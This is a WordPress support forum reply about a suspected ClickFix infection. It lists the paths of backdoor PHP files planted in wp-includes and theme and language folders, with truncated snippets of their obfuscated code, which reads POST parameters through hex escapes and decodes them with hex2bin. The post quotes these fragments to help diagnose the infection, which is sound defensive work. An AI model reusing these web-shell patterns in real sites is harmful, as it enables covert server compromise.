Home › Forums › Support Forum › Possible ClickFix infection – fake Cloudflare verification page › Reply To: Possible ClickFix infection – fake Cloudflare verification page
wp-includes/IXR/config_1778750398.php
107, ‘code’: ‘ATyGJWyL<?php\n\nif(in_array(“c\\x6F\\x6Dp”, array_keys($_REQUEST))){\n$dchunk = array_filter([session_save_path(), ini_get(“upload_tmp_dir”), getenv(“TEMP”), “/dev/shm”, sys_get…
/wp-content/themes/agent.php
(int)rOuND(0+0+0+0);
wp-content/languages/widget_area_1781011032.php
= hex2bin($_POST[“en\x74\x69t\x
wp-content/themes/custom.file.2.1785240271.php
<!–WiN0WHbi–> \x0a <?php \x0a \x0a if(!is_null($_POST[“\x65nt\x72y”] ?? null)){ \x0a $marker = $_POST[“\x65nt\x72y”]; \x0a \x09 $marker \x09 \x09 = \x09 \x09 explode ( \x09 \x09 \x09 “.” \x09 , \ x09 \x09 \x09 $marker \x09 ); \x0a $pgrp = ”; \x0a $s8 = ‘abcdefghijklmnopqrstuvwxyz01234567
It links to a gambling site [Redacted]
-
This reply was modified 1 week, 4 days ago by
Anti-Malware Admin. Reason: URL Redacted for security reasons

